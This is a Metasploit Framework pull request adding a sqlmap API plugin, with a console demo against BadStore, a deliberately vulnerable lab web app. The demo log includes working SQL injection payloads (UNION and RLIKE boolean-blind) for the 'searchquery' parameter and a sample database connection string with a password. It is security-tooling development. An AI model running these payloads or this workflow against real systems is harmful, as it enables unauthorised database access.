rapid7/metasploit-framework — pull request #3492 by brandonprry (2014-07-04 16:01:36+00:00)
Title: sqlmap plugin for sqlmap API

This pull request adds a small API layer in ruby for the sqlmap RESTful API, and a small plugin to drive sqlmap from msfconsole.

If you get the latest sqlmap from git, you will find a ```sqlmapapi.py``` file, you can start the API on all interfaces listening on port 8775 with:
```sqlmapapi.py --server -H 0.0.0.0```

The command sqlmap_save_data will save any SQL injections found to the database as web_vulns so that the information is useful in community/pro as well.

Happy 4th!

Quick run through:

```
bperry@w00den-pickle:~/tools/msf_dev$ ./msfconsole
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *

=[ metasploit v4.9.0-dev [core:4.9 api:1.0] ]
+ -- --=[ 1292 exploits - 702 auxiliary - 202 post ]
+ -- --=[ 332 payloads - 33 encoders - 8 nops ]

msf > load sqlmap
[*] Sqlmap plugin loaded
[*] Successfully loaded plugin: Sqlmap
msf > db_connect postgres:password@192.168.1.21:5432/metasploit
[*] Rebuilding the module cache in the background...
msf > sqlmap_connect 192.168.1.45
[+] Set connection settings for host 192.168.1.45
msf > sqlmap_new_task
[+] Created task: 763480faafd39faf
msf > sqlmap_set_option 763480faafd39faf level 5
[*] Success: true
msf > sqlmap_set_option 763480faafd39faf risk 3
[*] Success: true
msf > sqlmap_start_task 763480faafd39faf http://192.168.1.19/cgi-bin/badstore.cgi?searchquery=fdsa&action=search
[*] Started task: true
msf > sqlmap_get_status 763480faafd39faf
[*] Status: running
msf > sqlmap_get_status 763480faafd39faf
[*] Status: running
msf > sqlmap_get_status 763480faafd39faf
[*] Status: terminated
msf > sqlmap_get_log 763480faafd39faf
[*] [10:56:51] INFO: testing connection to the target URL
[*] [10:56:52] INFO: heuristics detected web page charset 'ISO-8859-2'
[*] [10:56:52] INFO: testing if the target URL is stable. This can take a couple of seconds
[*] [10:56:53] INFO: target URL is stable
[*] [10:56:53] INFO: testing if GET parameter 'searchquery' is dynamic
[*] [10:56:53] INFO: confirming that GET parameter 'searchquery' is dynamic
[*] [10:56:53] INFO: GET parameter 'searchquery' is dynamic
[*] [10:56:53] INFO: heuristics detected web page charset 'ascii'
[*] [10:56:53] INFO: heuristic (basic) test shows that GET parameter 'searchquery' might be injectable (possible DBMS: 'MySQL')
[*] [10:56:53] INFO: testing for SQL injection on GET parameter 'searchquery'
[*] [10:56:53] INFO: testing 'AND boolean-based blind - WHERE or HAVING clause'
[*] [10:56:53] WARNING: reflective value(s) found and filtering out
[*] [10:57:02] INFO: testing 'AND boolean-based blind - WHERE or HAVING clause (Generic comment)'
[*] [10:57:11] INFO: testing 'OR boolean-based blind - WHERE or HAVING clause'
[*] [10:57:18] INFO: testing 'OR boolean-based blind - WHERE or HAVING clause (Generic comment)'
[*] [10:57:25] INFO: testing 'Generic boolean-based blind - Parameter replace (original value)'
[*] [10:57:25] INFO: testing 'Generic boolean-based blind - GROUP BY and ORDER BY clauses'
[*] [10:57:26] INFO: testing 'Generic boolean-based blind - GROUP BY and ORDER BY clauses (original value)'
[*] [10:57:26] INFO: testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[*] [10:57:35] INFO: testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[*] [10:57:42] INFO: testing 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)'
[*] [10:57:45] INFO: GET parameter 'searchquery' seems to be 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)' injectable
[*] [10:57:45] INFO: testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[*] [10:57:45] INFO: testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[*] [10:57:45] INFO: testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)'
[*] [10:57:45] INFO: testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[*] [10:57:45] INFO: testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[*] [10:57:45] INFO: testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[*] [10:57:45] INFO: testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause (UPDATEXML)'
[*] [10:57:45] INFO: testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[*] [10:57:45] INFO: testing 'MySQL OR error-based - WHERE or HAVING clause'
[*] [10:57:45] INFO: testing 'MySQL >= 5.0 error-based - Parameter replace'
[*] [10:57:45] INFO: testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[*] [10:57:45] INFO: testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[*] [10:57:45] INFO: testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses'
[*] [10:57:45] INFO: testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (EXTRACTVALUE)'
[*] [10:57:45] INFO: testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (UPDATEXML)'
[*] [10:57:45] INFO: testing 'MySQL inline queries'
[*] [10:57:45] INFO: testing 'MySQL > 5.0.11 stacked queries'
[*] [10:57:45] INFO: testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[*] [10:57:46] INFO: testing 'MySQL > 5.0.11 AND time-based blind'
[*] [10:57:46] INFO: testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[*] [10:57:46] INFO: testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[*] [10:57:46] INFO: testing 'MySQL < 5.0.12 AND time-based blind (heavy query - comment)'
[*] [10:57:46] INFO: testing 'MySQL > 5.0.11 OR time-based blind'
[*] [10:57:46] INFO: testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[*] [10:57:46] INFO: testing 'MySQL >= 5.0 time-based blind - Parameter replace'
[*] [10:57:46] INFO: testing 'MySQL < 5.0 time-based blind - Parameter replace (heavy queries)'
[*] [10:57:46] INFO: testing 'MySQL time-based blind - Parameter replace (bool*int)'
[*] [10:57:46] INFO: testing 'MySQL time-based blind - Parameter replace (MAKE_SET)'
[*] [10:57:46] INFO: testing 'MySQL time-based blind - Parameter replace (ELT)'
[*] [10:57:46] INFO: testing 'MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses'
[*] [10:57:46] INFO: testing 'MySQL < 5.0.12 time-based blind - GROUP BY and ORDER BY clauses (heavy query)'
[*] [10:57:46] INFO: testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[*] [10:57:46] INFO: automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[*] [10:57:46] INFO: ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[*] [10:57:46] INFO: target URL appears to have 4 columns in query
[*] [10:57:47] INFO: GET parameter 'searchquery' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[*] [10:57:47] INFO: testing MySQL
[*] [10:57:47] INFO: confirming MySQL
[*] [10:57:47] INFO: the back-end DBMS is MySQL
msf > sqlmap_get_data 763480faafd39faf

[*] URL: http://192.168.1.19/cgi-bin/badstore.cgi?searchquery=fdsa&action=search

Title Payload
----- -------
MySQL UNION query (NULL) searchquery=fdsa' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7175707071,0x5662594f65734d6f6f52,0x716c6b7271)#&action=search
MySQL boolean searchquery=fdsa' RLIKE (SELECT (CASE WHEN (3760=3760) THEN 0x66647361 ELSE 0x28 END)) AND 'VzLt'='VzLt&action=search

msf > sqlmap_save_data 763480faafd39faf

[*] URL: http://192.168.1.19/cgi-bin/badstore.cgi?searchquery=fdsa&action=search
[+] Saved vulnerabilities to database.
msf >
```